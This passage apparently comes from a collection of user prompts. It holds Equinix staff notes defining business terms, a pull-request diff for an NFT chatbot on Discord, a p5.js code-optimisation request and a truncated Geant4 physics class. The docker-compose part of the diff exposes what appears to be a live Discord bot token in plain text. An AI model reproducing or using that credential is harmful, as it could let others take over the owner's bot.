e.g. between multiple (Equinix) data centers only, or based on a hybrid (multi)cloud deployment model.\n • Hybrid cloud / hybrid multicloud: A deployment model where applications, or their components (compute, networking or storage) are deployed across public cloud and colocation/private data center environments. The deployment model is referred to as hybrid cloud when a single public cloud service provider is used, and hybrid multicloud when at least 2 public cloud services clouds are used.\n • Developers: Software practitioners who develop application code or SRE/automation tooling for distributed / hybrid-(multi)cloud deployments.\n • IaaS (infrastructure as a service) is a type of cloud computing offering that includes physical data center infrastructure, as well as fundamental resources for physical/virtual compute systems (servers), storage, and networking – available on demand, and consumed on a pay-as-you-go basis. IaaS is one of the 4 types of cloud services, along with PaaS, SaaS and serverless.\n • “World’s digital infrastructure company”\n • “Physical infrastructure”\n • “At software speed”\n6. Karl\n • … consumers: end companies that leverage services provided on the Equinix platform to accelerate their digital transformation\n • … producers, service providers who offer their services on the platform, often times integrated with other services to create solutions, to help the end companies accelerate their digital transformation.\n • …Dedicated Cloud: A dedicated cloud is a single-tenant cloud infrastructure, which essentially acts as an isolated, single-tenant public cloud. Dedicated clouds are set as an infrastructure as a service (IaaS) and are made to reduce an organizations downtime and cost while promoting flexibility and performance. Dedicated clouds work especially well for resource-intensive workloads.\n • … platform: \n · is it a place, is it a set of digital natives that enable others’ services that then can be consumed by many on the platform? \n · Is it just within the four walls of Equinix, or is it possibly open and everywhere and offered like megaport in other DC’s ?\n · Does it become more important than our physical footprint? \n · Is at its core the goal of ensuring traffic flows across the Equinix platform?\n \n7. Keith\n • Yes, what does it mean to digital transform? To me, it is trying to describe how a company can shift from using physical assets to virtual assets knowing that there are physical assets behind what we deliver. It is the simplification of one’s infrastructure to consume on demand. It is analogous to an oil and gas refinery – I don’t want to owned the infrastructure to make it, I just want to use the “output - gas”, when I want it and where I want it.\n • As part of the digital journey, I think the GLO team needs to better understand the service offerings. What is metal, what is Edge and what is Fabric. Better understanding the service will allow them to better attach to the strategic purpose and intent. \n8. Kurt\n • … continuum of services. How easy do we want to make it to move across the platform. My view (which would drive design decisions) is that the platform is most valuable when a customer moves across it almost constantly locking in physical locations for the long hold and flexible locations to test the market, grow, meet temporary demand, etc.\n • Seamlessly contract. Make it easy to move between worlds in Equinix. This would mean we need to think more wholistically, even if only based on the right APIs, about how a customer signs up, buys new services, gets billed, etc. Note, that doesn’t mean that has to exist now, but we would make different decisions if we knew that was our end point was. Right now everyone will talk about the future state, but then are quite adamant on the development side we aren’t worried about connecting to the larger platform right now. So it is confusing.\n • (indirect) – I think we need to define the specific channels we think matter here and focus on those. That also drives development in terms of the use cases we are aiming for\n • … I think I captured them all above. I would be curious what the dev teams would say here. I think part of the issue is that asking eteam to define independently is likely missing some stuff really smart people in the org may see that are blockers. Obviously all of that gets treated with a grain of salt, but I do think the top down strategy here is causing us to not really be as agile as we think we are as we aren’t able to react to bottoms up problems blocking our agile development.\n \n9. Mike\n • Triple play\n \n10. Milind\n • “Platform”\n • SDDC: \n Stands for "Software-Defined Data Center." It is a data center architecture that utilizes software-defined computing, networking, and storage resources to automate the provisioning and management of infrastructure services. The data center infrastructure is abstracted from the underlying hardware and managed through software-defined compute, software-defined networking (SDN) and software-defined storage (SDS) technologies.\n • “Quote To Cash”\n • “MVP/Triple Play/Double Play/Project Avery”\n ○ – Would be helpful to understand the latest name and scope of this initiative\n \n \n11. Nicole \n • I would like to understand when we say “Platform company”, what do people mean? Do we all have the same definition. When I think of Platform companies, I think of Amazon, Google, Salesforce, etc.. a destination for customers where they see clear strategic value in being part of that platform. Are we all aligned on the definition of Platform company and aligned that we could actually be one? \n • I would like to better understand the guardrails of our Reit status. Is it truly an inhibitor to aggressive shift in strategy? Cool if so, I just need to have better clarity and right now it feels like there are multiple dialogues around this. \n • Platform: A place where customers come to leverage strategic value for their own growth and scale. \n • BU specific strategies and targets. What specifically do we want each BU to do for company? What growth rates do we want, where are their trade-off’s, etc.. \n • How do we know when we have proven our platform vision? (key outcomes that let us know we are pacing toward goal(s))\n • When we say “ecosystem”, what do we specifically mean? Large synergies we want with companies like Dell, HPE, VMware? Or, are we talking about creating a larger (long tail) partner community that can transact with us more efficiently .. In my opinion, those are very different execution strategies and need clarity on this. \n\n12. PVC\n • … Not sure it’s a specific term, but I believe there could be an overall descriptor for the layer of services we provide as software that enables our customers to better utilize or orchestrate their use of all service “by” or “at” Equinix. Cloud Networking may fit in this bucket. Storage as a service could be provided by an HPE or Dell as an example, but the way this is enabled for use by an Equinix customer is a pssoibile example\n \n13. Raouf\n • … Digital Infrastructure is the key term that needs definition to properly define our product roadmap and aspirations of what TAM we can go after. This should be defined as the space, power, interconnection and physical equipment needed to build out the digital needs of a business. Staying away from the data and operating systems that sit on top of the equipment. \n • … Target market, key service capabilities. What do we want to be great at? What will be our differentiating value? \n \n14. Ryan\n • Platform: Technology to create a shared space where multiple parties can connect and interact.\n • Platform company.” I (believe I) understand what a platform is but feel we use this term freely and sometimes we state position it as current state and sometimes as aspirational. How will we know when we have become a platform company? Are we one already?\n • Digital infrastructure: The aggregation of physical (space, power, cross connects, etc.) and digital (metal, virtual connects, etc.) solutions required to support one’s technology backbone. \n \n15. Scott\n • How should we evaluate our leadership teams (those reporting to eStaff members) for:\n ○ a) their support or hinderance of change\n ○ b) their skills and experience in the world of infrastructure SaaS and cloud businesses\n ○ c) how do we evaluate whether those on our leadership teams are actually sufficiently experienced and capable (in knowledge, skills and mindset) to drive the change we need? [Perhaps the exceptional people who got us here aren\'t the ones who are able to lead us to the next destination]\n • … What is a platform? Suggestion: a set of tooling, APIs, interconnections and locations which enable optimal workload and data placement\n • What is an ecosystem? Suggestion: An integrated set of partnerships and technologies simplifying and solving customer problems.' -'@ -1,3 +1,4 @@\nvenv/\nk8s/\n\\*.pyc\n\\*.pyc\n\\*.pem\n 4 \ndocker-compose.yaml\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -8,8 +8,8 @@ services:\n REDIS\\_POOL\\_SIZE: 1\n BROKER\\_TYPE: redis\n DISCORD\\_TOKEN: MTA3NTIyMzgyNDg2MzMzMDM4NA.G3Z3eL.CRAjmilw0j5TT0gPonyE-8b1deZbNyHs0hPKtI\n DISCORD\\_EVENTS: MESSAGE\\_CREATE\n DISCORD\\_INTENTS: GUILD,GUILD\\_MESSAGES,MESSAGE\\_CONTENT\n DISCORD\\_EVENTS: MESSAGE\\_CREATE,INTERACTION\\_CREATE\n DISCORD\\_INTENTS: GUILD,GUILD\\_MESSAGES,MESSAGE\\_CONTENT,GUILD\\_INTEGRATIONS\n LOG\\_LEVEL: debug\n depends\\_on:\n - redis\n 19 \npackages/shared\\_library/mocks/mock\\_discord\\_server.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -8,11 +8,22 @@ def get\\_guild(guild\\_id):\n return jsonify({"id": guild\\_id, "name": "Ai LiLi Test Server"})\n@app.route("/application//commands", methods=["POST"])\n@app.route("/applications//commands", methods=["POST"])\ndef register\\_command(application\\_id):\n # TODO:\n # hit the real api on the test ailili server and copy the response to here\n return jsonify({})\n return jsonify({\n \'name\\_localizations\': None,\n \'description\': \'test\',\n \'id\': \'1088654453009301615\',\n \'description\\_localizations\': None,\n \'application\\_id\': \'1075223824863330384\',\n \'version\': \'1088654453009301616\',\n \'dm\\_permission\': True,\n \'default\\_permission\': True,\n \'default\\_member\\_permissions\': None,\n \'nsfw\': False,\n \'type\': 1,\n \'name\': \'test\'\n })\nif \\_\\_name\\_\\_ == "\\_\\_main\\_\\_":\n 3 \npackages/shared\\_library/models/discord\\_client.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -34,5 +34,4 @@ def get\\_guild(self, guild\\_id):\n def register\\_slash\\_command(self, slash\\_command\\_payload):\n slash\\_command\\_uri = constants.DISCORD\\_SLASH\\_COMMAND\\_URI.format(self.discord\\_application\\_id)\n url = self.base\\_url + slash\\_command\\_uri\n res = self.post(url, slash\\_command\\_payload)\n return res.get(labels.ID)\n return self.post(url, slash\\_command\\_payload)\n 7 \npackages/shared\\_library/tests/test\\_discord\\_client.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -17,7 +17,6 @@ def test\\_get\\_guild(self, mock\\_discord\\_client):\n assert res.get(\'name\') == "Ai LiLi Test Server"\n\n def test\\_register\\_command(self, mock\\_discord\\_client):\n # TODO\n # make a mocked endpoint in mock\\_discord\\_server.py\n # and test the response\n pass\n slash\\_command\\_payload = {"name": "test", "description": "test", "options": []}\n command\\_id = mock\\_discord\\_client.register\\_slash\\_command(slash\\_command\\_payload)\n assert command\\_id != None\n 31 \npackages/slash\\_commands/models/base\\_slash\\_command.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -0,0 +1,31 @@\nimport json\nimport os\nimport pathlib\n\nfrom shared\\_library import constants, labels\nfrom shared\\_library.models.discord\\_client import DiscordClient\nfrom shared\\_library.models.translator import LocaleEnum, Translator\n\nTRANSLATION\\_FILE\\_PATH = os.path.join(os.path.dirname(\\_\\_file\\_\\_), "../translations.json")\nPAYLOAD\\_FOLDER\\_PATH = os.path.abspath(os.path.join(os.path.dirname(\\_\\_file\\_\\_), "../payloads"))\nclass BaseSlashCommand:\n client = DiscordClient()\n translator = Translator(LocaleEnum.ENGLISH.value, TRANSLATION\\_FILE\\_PATH)\n\n def \\_\\_init\\_\\_(self, command\\_name):\n self.command\\_name = command\\_name\n self.payload = None\n\n def get\\_payload(self):\n payload\\_file\\_path = os.path.join(PAYLOAD\\_FOLDER\\_PATH, f"{self.command\\_name}.json")\n with open(payload\\_file\\_path, constants.READ) as f:\n self.payload = json.loads(f.read())\n return self.payload\n\n def register(self):\n payload = self.get\\_payload()\n translated\\_payload = self.translator.translate(payload)\n response = self.client.register\\_slash\\_command(slash\\_command\\_payload=translated\\_payload)\n return response.get(labels.ID)\n 0 \npackages/slash\\_commands/models/slash\\_command.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\nEmpty file.\n 5 \npackages/slash\\_commands/payloads/test.json\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -0,0 +1,5 @@\n{\n "name": "test",\n "description": "$TO\\_BE\\_TRANSLATED$TEST\\_COMMAND\\_DESCRIPTION",\n "options": []\n}\n 15 \npackages/slash\\_commands/tests/test\\_base\\_slash\\_command.py\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -0,0 +1,15 @@\nimport pytest\nfrom slash\\_commands.models.base\\_slash\\_command import BaseSlashCommand\nclass TestBaseSlashCommandClass:\n\n def test\\_get\\_payload(self):\n base\\_slash\\_command = BaseSlashCommand(command\\_name="test")\n payload = base\\_slash\\_command.get\\_payload()\n assert payload.get("name") == "test"\n\n def test\\_register\\_command(self):\n base\\_slash\\_command = BaseSlashCommand(command\\_name="test")\n command\\_id = base\\_slash\\_command.register()\n assert command\\_id != None\n 82 \npackages/slash\\_commands/translations.json\nMarking files as viewed can help keep track of your progress, but will not affect your submitted reviewViewed\nComment on this file\n@@ -1,7 +1,77 @@\n{\n "HELP\\_COMMAND\\_DESCRIPTION" : {\n "en-US":"Show the help message",\n "zh-CN":"显示帮助信息",\n "zh-TW":"顯示幫助信息"\n }\n}\n "TEST\\_COMMAND\\_DESCRIPTION": {\n "en-US": "test",\n "zh-CN": "测试机器人",\n "zh-TW": "測試機器人"\n },\n "HELP\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Show the help message",\n "zh-CN": "显示帮助信息",\n "zh-TW": "顯示幫助信息"\n },\n "INJECT\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Inject souls to your NFTs and enable them to talk",\n "zh-CN": "将灵魂注入你的NFT，让他能陪你聊天",\n "zh-TW": "把靈魂注入你的NFT，讓他能陪你聊天"\n },\n "CREATE\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Create a new soul to talk to",\n "zh-CN": "自创一个新的灵魂来聊天",\n "zh-TW": "自創一個新的靈魂來聊天"\n },\n "SOULS\\_COMMAND\\_DESCRIPTION": {\n "en-US": "List all the souls you can talk to",\n "zh-CN": "列出你持有的所有灵魂",\n "zh-TW": "列出你擁有的所有靈魂"\n },\n "ACTIVATE\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Start talking to a soul",\n "zh-CN": "让灵魂说话",\n "zh-TW": "叫靈魂說話"\n },\n "ACTIVATE\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to talk to",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n },\n "DEACTIVATE\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Stop a soul from talking",\n "zh-CN": "让灵魂别说话",\n "zh-TW": "叫靈魂別說話"\n },\n "DEACTIVATE\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to stop talking",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n },\n "DELETE\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Delete a soul",\n "zh-CN": "删除灵魂",\n "zh-TW": "刪除靈魂"\n },\n "DELETE\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to delete",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n },\n "EDIT\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Edit a soul",\n "zh-CN": "编辑灵魂",\n "zh-TW": "編輯靈魂"\n },\n "EDIT\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to edit",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n },\n "RESET\\_COMMAND\\_DESCRIPTION": {\n "en-US": "Reset the soul\'s conversation history",\n "zh-CN": "重置灵魂的对话记录",\n "zh-TW": "重置靈魂的對話記錄"\n },\n "RESET\\_COMMAND\\_SOULNAME\\_OPTION\\_DESCRIPTION": {\n "en-US": "Name of the soul you want to reset",\n "zh-CN": "灵魂的名称",\n "zh-TW": "靈魂的名字"\n }\n}\n---\nWrite a pull request description based on the changes above.' -"consider this damn slow and unoptimized p5.js code snippet. It outputs a self painting watercolor effect with ink expanding on canvas. I want you to optimize it, write the full p5.js source code. It must not refer to external assets or files, the source must be self- contained. I want you to use webgl and pixel shaders where possible.\n\n// \\*\\*\\* forked and modded from here: \n// \\*\\*\\* https://editor.p5js.org/StevesMakerspace/sketches/d0lPUJt8T\n\nlet xyoffAdd = 0.18; // 0.08 default - lower # = straighter lines; changing Perlin noise variables\nlet coloroffAdd = 5.5; // 0.5 default\nlet pixelSkip = 12; // 12 default\nlet colorSkip = 7; // 7 default\nlet dryTime = 0.0012; //0.0012 default\n//let startWidth = 40;\nlet runnyColors = false;\nlet canvasSmall = true; // for true, set width & height below. A smaller canvas will run faster. Setting to false will fill the available space.\nlet canvWidth = 480;\nlet canvHeight = 270;\nlet paintDrop = 50; // fixed brush width\nlet paint = [];\nlet tempPaint1 = [];\nlet tempPaint2 = [];\nlet posX, posY, prevPosX, prevPosY;\nlet p = 1;\nlet xoff, yoff, roff, goff, boff, poff;\nlet randR, randG, randB;\nfunction setup() {\n//let fs = fullscreen();\n// fullscreen(!fs);\n randR = random(255);\n randG = random(255);\n randB = random(255);\n xoff = random(40000); // Perlin noise seed starts\n yoff = random(40000);\n roff = random(40000);\n goff = random(40000);\n boff = random(40000);\n poff = random(40000);\n pixelDensity(1);\n \n if (canvasSmall ==true){\n createCanvas(canvWidth,canvHeight)\n }\n else {\n createCanvas(round(windowWidth\\*0.98) , round(windowHeight\\*0.93));\n }\n background(220);\n posX = prevPosX = round(random(width));\n posY = prevPosY = round(random(height));\n // fill the arrays with black color\n for (let x = 0; x < width; x++) {\n for (let y = 0; y < height; y++) {\n paint.push(250, 240, 220, 0);\n }\n }\n tempPaint1 = paint;\n tempPaint2 = paint;\n}\n\nfunction draw() {\n if (p > 0) {\n addPaint();\n updater();\n render();\n }\n}\n\n//function windowResized() {\n// resizeCanvas(canvWidth, canvHeight);\n//}\n// paint new color\nfunction addPaint() {\n xoff += xyoffAdd;\n yoff += xyoffAdd;\n roff += coloroffAdd;\n goff += coloroffAdd;\n boff += coloroffAdd;\n // using Perlin noise to smoothly change position and color\n posX += round((noise(xoff) - 0.5) \\* pixelSkip); \n posY += round((noise(yoff) - 0.5) \\* pixelSkip); \n randR += round((noise(roff) - 0.5) \\* colorSkip); \n randG += round((noise(goff) - 0.5) \\* colorSkip);\n randB += round((noise(boff) - 0.5) \\* colorSkip);\n\n // wrap around edges and colors\n if (posX > width) {\n posX = 0;\n }\n if (posX < 0) {\n posX = width;\n }\n if (posY > height) {\n posY = 0;\n }\n if (posY < 0) {\n posY = height;\n }\n if (randR > 255) {\n randR = 0;\n }\n if (randR < 0) {\n randR = 255;\n }\n if (randG > 255) {\n randG = 0;\n }\n if (randG < 0) {\n randG = 255;\n }\n if (randB > 255) {\n randB = 0;\n }\n if (randB < 0) {\n randB = 255;\n }\n let distance = dist(prevPosX, prevPosY, posX, posY);\n if (distance < width \\* 0.9 && distance < height \\*0.9){\n let numPoints = floor(distance / 1); // larger number = more gaps and fewer points; these two lines from George Profenza, noted below.\n drawLinePoints(prevPosX, prevPosY, posX, posY, numPoints);\n }\n prevPosX = posX;\n prevPosY = posY;\n}\n \n// calculate points from previous position to new position\n// This function from George Profenza on stackoverflow https://stackoverflow.com/questions/63959181/how-do-you-draw-a-line-in-a-pixel-array\nfunction drawLinePoints(x1, y1, x2, y2, points){\n for(let i = 0; i < points; i++){\n let t = map(i, 0, points, 0.0, 1.0);\n let x = round(lerp(x1, x2, t));\n let y = round(lerp(y1, y2, t));\n renderPoints(x,y);\n }\n}\n \n // combine new paint with old paint\nfunction renderPoints (x,y){\n let arrayPos = (x + y \\* width) \\* 4;\n let newR = (paint[arrayPos + 0] + randR) / 2;\n let newG = (paint[arrayPos + 1] + randG) / 2;\n let newB = (paint[arrayPos + 2] + randB) / 2;\n let newN = paint[arrayPos + 3] + paintDrop;\n paint.splice(arrayPos, 4, newR, newG, newB, newN); \n}\n\n// if there's a lot of color in one place, spread it around\nfunction updater() {\n for (let x = 0; x < width; x++) {\n for (let y = 0; y < height; y++) {\n let arrayPos = (x + y \\* width) \\* 4;\n \n // mix pixel to right\n if (paint[arrayPos + 3] > 4) {\n tempPaint1[arrayPos + 3] = paint[arrayPos + 3] - 4;\n tempPaint1[arrayPos + 4] = (paint[arrayPos + 4] + paint[arrayPos]) / 2;\n tempPaint1[arrayPos + 5] =\n (paint[arrayPos + 5] + paint[arrayPos + 1]) / 2;\n tempPaint1[arrayPos + 6] =\n (paint[arrayPos + 6] + paint[arrayPos + 2]) / 2;\n tempPaint1[arrayPos + 7] = paint[arrayPos + 7] + 1;\n\n // mix pixel to left\n tempPaint1[arrayPos - 4] = (paint[arrayPos - 4] + paint[arrayPos]) / 2;\n tempPaint1[arrayPos - 3] =\n (paint[arrayPos - 3] + paint[arrayPos + 1]) / 2;\n tempPaint1[arrayPos - 2] =\n (paint[arrayPos - 2] + paint[arrayPos + 2]) / 2;\n tempPaint1[arrayPos - 1] = paint[arrayPos - 1] + 1;\n\n // mix pixel above\n tempPaint1[arrayPos - width \\* 4] =\n (paint[arrayPos - width \\* 4] + paint[arrayPos]) / 2;\n tempPaint1[arrayPos - width \\* 4 + 1] =\n (paint[arrayPos - width \\* 4 + 1] + paint[arrayPos + 1]) / 2;\n tempPaint1[arrayPos - width \\* 4 + 2] =\n (paint[arrayPos - width \\* 4 + 2] + paint[arrayPos + 2]) / 2;\n tempPaint1[arrayPos - width \\* 4 + 3] =\n paint[arrayPos - width \\* 4 + 3] + 1;\n\n // mix pixel below\n tempPaint1[arrayPos + width \\* 4] =\n (paint[arrayPos + width \\* 4] + paint[arrayPos]) / 2;\n tempPaint1[arrayPos + width \\* 4 + 1] =\n (paint[arrayPos + width \\* 4 + 1] + paint[arrayPos + 1]) / 2;\n tempPaint1[arrayPos + width \\* 4 + 2] =\n (paint[arrayPos + width \\* 4 + 2] + paint[arrayPos + 2]) / 2;\n tempPaint1[arrayPos + width \\* 4 + 3] =\n paint[arrayPos + width \\* 4 + 3] + 1;\n }\n // gradually dry paint\n if (paint[arrayPos + 3] > dryTime) {\n tempPaint1[arrayPos + 3] = paint[arrayPos + 3] - dryTime;\n }\n }\n }\n if (runnyColors == true){\n paint = tempPaint1;\n }\n else {\n for (let x = width; x > 0; x--) {\n for (let y = height; y > 0; y--) {\n let arrayPos = (x + y \\* width) \\* 4;\n \n // mix pixel to right\n if (paint[arrayPos + 3] > 4) {\n tempPaint2[arrayPos + 3] = paint[arrayPos + 3] - 4;\n tempPaint2[arrayPos + 4] = (paint[arrayPos + 4] + paint[arrayPos]) / 2;\n tempPaint2[arrayPos + 5] =\n (paint[arrayPos + 5] + paint[arrayPos + 1]) / 2;\n tempPaint2[arrayPos + 6] =\n (paint[arrayPos + 6] + paint[arrayPos + 2]) / 2;\n tempPaint2[arrayPos + 7] = paint[arrayPos + 7] + 1;\n\n // mix pixel to left\n tempPaint2[arrayPos - 4] = (paint[arrayPos - 4] + paint[arrayPos]) / 2;\n tempPaint2[arrayPos - 3] =\n (paint[arrayPos - 3] + paint[arrayPos + 1]) / 2;\n tempPaint2[arrayPos - 2] =\n (paint[arrayPos - 2] + paint[arrayPos + 2]) / 2;\n tempPaint2[arrayPos - 1] = paint[arrayPos - 1] + 1;\n\n // mix pixel above\n tempPaint2[arrayPos - width \\* 4] =\n (paint[arrayPos - width \\* 4] + paint[arrayPos]) / 2;\n tempPaint2[arrayPos - width \\* 4 + 1] =\n (paint[arrayPos - width \\* 4 + 1] + paint[arrayPos + 1]) / 2;\n tempPaint2[arrayPos - width \\* 4 + 2] =\n (paint[arrayPos - width \\* 4 + 2] + paint[arrayPos + 2]) / 2;\n tempPaint2[arrayPos - width \\* 4 + 3] =\n paint[arrayPos - width \\* 4 + 3] + 1;\n\n // mix pixel below\n tempPaint2[arrayPos + width \\* 4] =\n (paint[arrayPos + width \\* 4] + paint[arrayPos]) / 2;\n tempPaint2[arrayPos + width \\* 4 + 1] =\n (paint[arrayPos + width \\* 4 + 1] + paint[arrayPos + 1]) / 2;\n tempPaint2[arrayPos + width \\* 4 + 2] =\n (paint[arrayPos + width \\* 4 + 2] + paint[arrayPos + 2]) / 2;\n tempPaint2[arrayPos + width \\* 4 + 3] =\n paint[arrayPos + width \\* 4 + 3] + 1;\n }\n // gradually dry paint\n if (paint[arrayPos + 3] > dryTime) {\n tempPaint2[arrayPos + 3] = paint[arrayPos + 3] - dryTime;\n }\n }\n }\n for (let x = 0; x < width; x++) {\n for (let y = 0; y < height; y++) {\n let arrayPos = (x + y \\* width) \\* 4;\n paint[arrayPos] = (tempPaint1[arrayPos] + tempPaint2[arrayPos]) / 2;\n }\n } \n}\n}\n\n // render all pixels\nfunction render() {\n loadPixels();\n for (let x = 0; x < width; x++) {\n for (let y = 0; y < height; y++) {\n let pix = (x + y \\* width) \\* 4;\n let arrayPos = (x + y \\* width) \\* 4;\n pixels[pix] = paint[arrayPos];\n pixels[pix + 1] = paint[arrayPos + 1];\n pixels[pix + 2] = paint[arrayPos + 2];\n }\n }\n updatePixels();\n}" -'can you tell me all the physics involved in this class (G4EmStandardPhysics\\_option3):\n\n//\n// \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n// \\* License and Disclaimer \\*\n// \\* \\*\n// \\* The Geant4 software is copyright of the Copyright Holders of \\*\n// \\* the Geant4 Collaboration. It is provided under the terms and \\*\n// \\* conditions of the Geant4 Software License, included in the file \\*\n// \\* LICENSE and available at http://cern.ch/geant4/license . These \\*\n// \\* include a list of copyright holders. \\*\n// \\* \\*\n// \\* Neither the authors of this software system, nor their employing \\*\n// \\* institutes,nor the agencies providing financial support for this \\*\n// \\* work make any representation or warranty, express or implied, \\*\n// \\* regarding this software system or assume any liability for its \\*\n// \\* use. Please see the license in the file LICENSE and URL above \\*\n// \\* for the full disclaimer and the limitation of liability. \\*\n// \\* \\*\n// \\* This code implementation is the result of the scientific and \\*\n// \\* technical work of the GEANT4 collaboration. \\*\n// \\* By using, copying, modifying or distributing the software (or \\*\n// \\* any work based on the software) you agree to acknowledge its \\*\n// \\* use in resulting scientific publications, and indicate your \\*\n// \\* acceptance of all terms of the Geant4 Software license. \\*\n// \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n//\n//\n//---------------------------------------------------------------------------\n//\n// ClassName: G4EmStandardPhysics\\_option3\n//\n// Author: V.Ivanchenko 13.03.2008\n//\n// Modified:\n// 21.04.2008 V.Ivanchenko add long-lived D and B mesons; use spline\n// 28.05.2008 V.Ivanchenko linLossLimit=0.01 for ions 0.001 for others\n//\n//----------------------------------------------------------------------------\n//\n\n#include "G4EmStandardPhysics\\_option3.hh"\n\n#include "G4SystemOfUnits.hh"\n#include "G4ParticleDefinition.hh"\n#include "G4LossTableManager.hh"\n#include "G4EmParameters.hh"\n#include "G4EmBuilder.hh"\n\n#include "G4ComptonScattering.hh"\n#include "G4GammaConversion.hh"\n#include "G4PhotoElectricEffect.hh"\n#include "G4RayleighScattering.hh"\n#include "G4PEEffectFluoModel.hh"\n#include "G4KleinNishinaModel.hh"\n#include "G4LivermorePhotoElectricModel.hh"\n#include "G4LivermorePolarizedRayleighModel.hh"\n#include "G4PhotoElectricAngularGeneratorPolarized.hh"\n#include "G4BetheHeitler5DModel.hh"\n\n#include "G4eMultipleScattering.hh"\n#include "G4hMultipleScattering.hh"\n#include "G4MscStepLimitType.hh"\n#include "G4UrbanMscModel.hh"\n#include "G4DummyModel.hh"\n#include "G4WentzelVIModel.hh"\n#include "G4CoulombScattering.hh"\n\n#include "G4eIonisation.hh"\n#include "G4eBremsstrahlung.hh"\n#include "G4Generator2BS.hh"\n#include "G4SeltzerBergerModel.hh"\n\n#include "G4eplusAnnihilation.hh"\n#include "G4UAtomicDeexcitation.hh"\n\n#include "G4ePairProduction.hh"\n#include "G4ionIonisation.hh"\n#include "G4IonParametrisedLossModel.hh"\n#include "G4LindhardSorensenIonModel.hh"\n#include "G4IonFluctuations.hh"\n#include "G4NuclearStopping.hh"\n\n#include "G4ParticleTable.hh"\n#include "G4Gamma.hh"\n#include "G4Electron.hh"\n#include "G4Positron.hh"\n#include "G4GenericIon.hh"\n\n#include "G4PhysicsListHelper.hh"\n#include "G4BuilderType.hh"\n#include "G4EmModelActivator.hh"\n#include "G4GammaGeneralProcess.hh"\n\n// factory\n#include "G4PhysicsConstructorFactory.hh"\n//\nG4\\_DECLARE\\_PHYSCONSTR\\_FACTORY(G4EmStandardPhysics\\_option3);\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......\n\nG4EmStandardPhysics\\_option3::G4EmStandardPhysics\\_option3(G4int ver, \n const G4String&)\n : G4VPhysicsConstructor("G4EmStandard\\_opt3")\n{\n SetVerboseLevel(ver);\n G4EmParameters\\* param = G4EmParameters::Instance();\n param->SetDefaults();\n param->SetVerbose(ver);\n param->SetGeneralProcessActive(true);\n param->SetMinEnergy(10\\*CLHEP::eV);\n param->SetLowestElectronEnergy(100\\*CLHEP::eV);\n param->SetNumberOfBinsPerDecade(20);\n param->ActivateAngularGeneratorForIonisation(true);\n param->SetUseMottCorrection(true); \n param->SetStepFunction(0.2, 100\\*CLHEP::um);\n param->SetStepFunctionMuHad(0.2, 50\\*CLHEP::um);\n param->SetStepFunctionLightIons(0.1, 20\\*CLHEP::um);\n param->SetStepFunctionIons(0.1, 1\\*CLHEP::um);\n param->SetMscStepLimitType(fUseSafetyPlus);\n param->SetMscRangeFactor(0.03);\n param->SetMuHadLateralDisplacement(true);\n param->SetLateralDisplacementAlg96(true);\n param->SetUseICRU90Data(true);\n param->SetFluctuationType(fUrbanFluctuation);\n param->SetFluo(true);\n param->SetMaxNIELEnergy(1\\*CLHEP::MeV);\n SetPhysicsType(bElectromagnetic);\n}\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......\n\nG4EmStandardPhysics\\_option3::~G4EmStandardPhysics\\_option3()\n{}\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......\n\nvoid G4EmStandardPhysics\\_option3::ConstructParticle()\n{\n // minimal set of particles for EM physics\n G4EmBuilder::ConstructMinimalEmSet();\n}\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......\n\nvoid G4EmStandardPhysics\\_option3::ConstructProcess()\n{\n if(verboseLevel > 1) {\n G4cout << "### " << GetPhysicsName() << " Construct Processes " << G4endl;\n }\n G4EmBuilder::PrepareEMPhysics();\n\n G4PhysicsListHelper\\* ph = G4PhysicsListHelper::GetPhysicsListHelper();\n G4EmParameters\\* param = G4EmParameters::Instance();\n\n // processes used by several particles\n G4hMultipleScattering\\* hmsc = new G4hMultipleScattering("ionmsc");\n\n 